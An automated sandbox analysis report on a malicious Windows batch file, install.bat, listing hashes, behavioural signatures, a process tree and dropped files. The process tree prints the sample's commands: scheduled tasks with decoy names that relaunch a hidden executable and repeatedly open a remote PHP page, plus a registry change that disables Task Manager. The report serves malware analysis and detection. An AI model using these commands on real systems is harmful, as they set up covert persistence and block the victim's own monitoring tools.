Analysis
-
max time kernel
1799s -
max time network
1771s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
03-07-2024 23:11
Static task
static1
Behavioral task
behavioral1
Sample
install.bat
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
install.bat
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
install.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
install.bat
Resource
win11-20240508-en
General
-
Target
install.bat
-
Size
568B
-
MD5
e861a08036b9eb5f216deb58e8a7934d
-
SHA1
5f12dd049df2f88d95f205a4adc307df78ac16ee
-
SHA256
e8315164849216f4c670c13b008e063da2176efb5d08939caa321e39a33035eb
-
SHA512
7ea2fd3b085bd4b3e27d4dda36e079ec8910173cc2b33ccd06698051eb7d5f2818ed9000761d1fc44e354c06d015feb16e77958dab8a3969a0cee2fd453ca0c9
Malware Config
Signatures
-
Disables Task Manager via registry modification
-
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133645224692641348" chrome.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 316 reg.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 700 schtasks.exe 1172 schtasks.exe 4372 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2692 chrome.exe 2692 chrome.exe 2816 chrome.exe 2816 chrome.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs
pid Process 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe -
Suspicious use of FindShellTrayWindow 26 IoCs
pid Process 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe -
Suspicious use of SendNotifyMessage 24 IoCs
pid Process 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3288 wrote to memory of 700 3288 cmd.exe 75 PID 3288 wrote to memory of 700 3288 cmd.exe 75 PID 3288 wrote to memory of 316 3288 cmd.exe 76 PID 3288 wrote to memory of 316 3288 cmd.exe 76 PID 3288 wrote to memory of 1172 3288 cmd.exe 77 PID 3288 wrote to memory of 1172 3288 cmd.exe 77 PID 3288 wrote to memory of 4372 3288 cmd.exe 78 PID 3288 wrote to memory of 4372 3288 cmd.exe 78 PID 2692 wrote to memory of 912 2692 chrome.exe 81 PID 2692 wrote to memory of 912 2692 chrome.exe 81 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 3124 2692 chrome.exe 83 PID 2692 wrote to memory of 404 2692 chrome.exe 84 PID 2692 wrote to memory of 404 2692 chrome.exe 84 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 PID 2692 wrote to memory of 3648 2692 chrome.exe 85 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\install.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "Cleaner" /tr "C:\Users\Admin\AppData\Local\Corporation\File\RemoteExecuteScriptSilent.exe" /sc onstart /delay 0005:002⤵
- Scheduled Task/Job: Scheduled Task
PID:700
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 000000012⤵
- Modifies registry key
PID:316
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:1172
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:4372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8d7bc9758,0x7ff8d7bc9768,0x7ff8d7bc97782⤵PID:912
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1648 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:22⤵PID:3124
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1996 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:82⤵PID:404
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2044 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:82⤵PID:3648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2712 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:3548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2720 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:3444
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3928 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:4628
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3900 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:4680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3080 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:644
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3036 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:660
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4652 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:3916
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3236 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:860
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5264 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:82⤵PID:4996
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5356 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:82⤵PID:1080
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5424 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:82⤵PID:2696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5196 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=5680 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5772 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:4776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5572 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:200
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5744 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
PID:2816
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=2620 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:4280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=980 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:3592
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=5492 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:1808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5436 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:12⤵PID:2772
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4732 --field-trial-handle=1676,i,17932076118581409539,10762900597501951489,131072 /prefetch:82⤵PID:4544
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:3048
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵PID:4768
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8d7bc9758,0x7ff8d7bc9768,0x7ff8d7bc97782⤵PID:3596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵PID:860
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8d7bc9758,0x7ff8d7bc9768,0x7ff8d7bc97782⤵PID:1112
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD555540a230bdab55187a841cfe1aa1545
SHA1363e4734f757bdeb89868efe94907774a327695e
SHA256d73494e3446b02167573b3cde3ae1c8584ac26e15e45ac3ec0326708425d90fb
SHA512c899cb1d31d3214fd9dc8626a55e40580d3b2224bf34310c2abd85d0f63e2dedaeae57832f048c2f500cb2cbf83683fcb14139af3f0b5251606076cdb4689c54
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\070E0202839D9D67350CD2613E78E416
Filesize230B
MD59da37a7331f12d6487f773aa16082d1c
SHA1fedcd1244c1657d5b28c15f49d6e535ff9b9d6f7
SHA256365900ffcea05a53b58f047ae4209669fd02dfe748bb25985056a8c12a128595
SHA512b2397bb84fd04bcfb549554177bc3fb4ef7d0f4d5be2656aedd449e5258f1a87673b23704fe1b5979ae74d310ae3f488e4a53560c88c305032d3919692cc9edd
-
Filesize
40B
MD58f3843a9da63a7c396a894b5865b2f67
SHA12e7f9776d1ba8b15aea00d84eff977929ed70022
SHA25676841dc7ebcb954ee1442bff5ef2356159574207e77f9b74b5303d298980b26a
SHA51206c417f3f8a5010105ced178e9d478c82253cc2ffb08135827ea8a5b905101b684d532d7f6cd776adce49200d4e719242bf44b88311c5d3f7ccdb6bbcba200ba
-
Filesize
19KB
MD5055c39f1ead06724e540b3c0d877cead
SHA15d7ffdeb534b6bea5443838f9534fc6640ee1526
SHA2560305d258c756aeac531d72a410cc42d0ae302cb74a2d8b5dca2ee590b7f5b1d2
SHA5120e95c4c344e0f81be53dcf1c441525f10a8a231e39e3614912dbc14fc6b6575dbb68dd93f741b80c0da986270003b97b5adaceba996b734b1678150e8ce5dd62
-
Filesize
255B
MD52e4fc53e08168ce1022f9bad043bcc8b
SHA1be8af807dba759568ee2ccfd3b5c4121b7ea6e41
SHA256158c216636d480716e082df7d40ded9af08c5e9462ca0f4ad42fe0adf5c566e1
SHA5124d090622a6340bcc66ed86eb2ca36301fb5951ab9d2bd1c829811483e406f54e9ae26a4380e83037efc349302f77a99c60142fecc6c7efba0abd65a5836f2536
-
Filesize
600B
MD5a4ba504ea822d5267013c6734e672949
SHA1f85c86d52f88f5856e05dbdeb2f5bc94dc4533f4
SHA25654d8ac6fec42a97c6c59312d3baa566ea23a1b777bebfba6fad5c8811b167f1f
SHA5129c127ae8f6b6e4322194be90bf01c1fa171982c107e253e766279366a2f27f007e34a88753fce048dccc92e69fe1daa63e4064c4e2bd30736b34cc269b86dce6
-
Filesize
816B
MD51ab6031c3f47aca812acbb51ff1f89be
SHA1903ff1fdceaef47a68ad4dd9fb485228bc79c0f4
SHA2568505bb408271794f67fe9910a5f5d2d8060ffea127c4d4a30853584658742cab
SHA512c88eae69ede999de38aa0a739da16de6a4ea1989a6825791304526bbc9bd5e609875bbcc709905943aa1a31d0fb42d7b51758b0cdc37c53efe4c629599f769b8
-
Filesize
1KB
MD57c85cfb7b1fc48eb1f3139f2826a2653
SHA16d33098b4eb1ab9592cb2c5ce3a53dbc10388396
SHA256409e015b343e85cc171a5f87655d5a87bab1ff930f4bec1863fc99a31ba01549
SHA5122a2bf4ff5d28f2811bfabb37e5b323712f7b15d7702e23009ccd2c73bd99feede7d712d6e51739283b944a1318342446bf0136ab13e537cdf2bae3772237237e
-
Filesize
3KB
MD500a4b2adea428f40cd11fe20698ba896
SHA14762785f5f761a65029fabc8be440229372ab0ef
SHA2561702e735749da5634caffc7e833e54e78df009bb5da74530512c3b6bc3d4656e
SHA512904c050a612ad2c6ea50441220c6f423f4388334ba57c42a1feea0ad79d0068a087f5357560cce76a83d684a701af43953e5743fb357a8ff2386ee6cbb170f6a
-
Filesize
4KB
MD50353d7c81951e92cefb3d5c23b4973ff
SHA1c07d4d829a5aab2c58dbb168e398f9952bc05b74
SHA25626bfe99d52e0e4b9df77fe1c2a6bb731eefd24e88c3ebc8e4686fd5bf311ca35
SHA5123967c17a22a165eb25e568b0b01296bbaec91ef7491d636905cb62b069dcd84fd7e410b857867c1a32bb981267198bf50588d5aa424f3fd98522dc424d1c80b8
-
Filesize
7KB
MD5bca0576e5be9100a951d956e364fbf88
SHA1d3a2ca872b9b57bb233415dc52e676b6b09da15e
SHA2562477af9617efd1c701b1e9ae7c733964ee3de2ba08d320a88f76b53811668bda
SHA512755955b4af13b164e4b5c2a81678cd77794b5ec353dd27afdc8d0d7ba64e0d1e74ec50ed503477284bd042bd07da3bda08b2aaac114e8b7c08f378bc10587517
-
Filesize
7KB
MD58d081fd05b98a7e592a5c41439c052ee
SHA17fc3bcf38da7fb7872e17370c1f029f401686cf6
SHA25678fa3f16ec7d3481ad4b9999b0e16495ac922cc80cef7af4ed403bdb0612bc64
